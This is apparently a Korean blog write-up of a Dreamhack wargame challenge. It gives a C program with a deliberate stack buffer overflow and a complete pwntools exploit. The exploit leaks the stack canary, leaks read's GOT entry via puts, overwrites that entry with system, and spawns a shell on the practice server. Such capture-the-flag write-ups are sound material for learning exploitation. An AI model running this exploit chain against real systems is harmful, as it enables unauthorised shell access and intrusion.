rop

곽무경·2022년 7월 5일

System Hacking Quiz

목록 보기
13/21

예제 c 파일

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

첫번째 입력에서 카나리를 얻고, 두번째 입력에서 ROP를 실행한다.

우선 checksec 을 통해, 보호 기법을 파악한다.

Canary, NX가 적용되어 있다. (ASLR 포함)

순서
1. canary leak
2. read 함수의 GOT 가져오기 puts(read_got)
3. read 함수의 GOT에 system 함수의 주소 덮어쓰기 read(0,read_got,0x10)
4. system(read) 함수 실행 read("/bin/bash")

  1. base
from pwn import *
p=remote("host3.dreamhack.games", 12598)
e=ELF("./rop")
libc=ELF("./libc-2.27.so") # 동봉된 libc 파일 (접속 서버는 2.27 버전을 이용중)
context.arch="amd64"
  1. canary leak
buf=b'A'*0x39 # 더미 데이터 존재하므로 총 0x39바이트 전송
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary=u64(b'\x00'+p.recvn(7)) # canary 획득
  1. payload 작성
    read 함수의 GOT 가져오기
read_got=e.got['read']  # read 함수 GOT주소
read_plt=e.plt['read']  # read 함수 PLT주소
puts_plt=e.plt['puts']  # puts 함수 PLT주소
pop_rdi=0x4007f3        # get from ROPgadget
pop_rsi_r15=0x4007f1    # get from ROPgadget

payload=b'A'*0x38+p64(canary)+b'B'*0x8   # buf+dummy+canary+SFP
payload+=p64(pop_rdi)+p64(read_got)+p64(puts_plt) # puts(read_got)

read 함수의 GOT에 system 함수의 주소를 덮어쓰기

payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0)
payload+=p64(read_plt) # read(0, read_got, rdx) stdin, buf=read_got, size=rdx

system 함수 실행

payload+=p64(pop_rdi)+p64(read_got+0x8)+p64(read_plt) # system("/bin/sh")
  1. payload 전송, system 함수 주소 계산, 전송
p.sendafter("Buf: ", payload)
read=u64(p.recvn(6)+b'\x00'*2) # from puts, got 주소는 6바이트
lb=read-libc.symbols['read'] # offset
system=lb+libc.symbols['system'] # system 함수 주소 계산
p.send(p64(system)+b"/bin/sh\x00") # from read, system 함수, /bin/sh 문자열 전송
p.interactive() # 셸 획득

0개의 댓글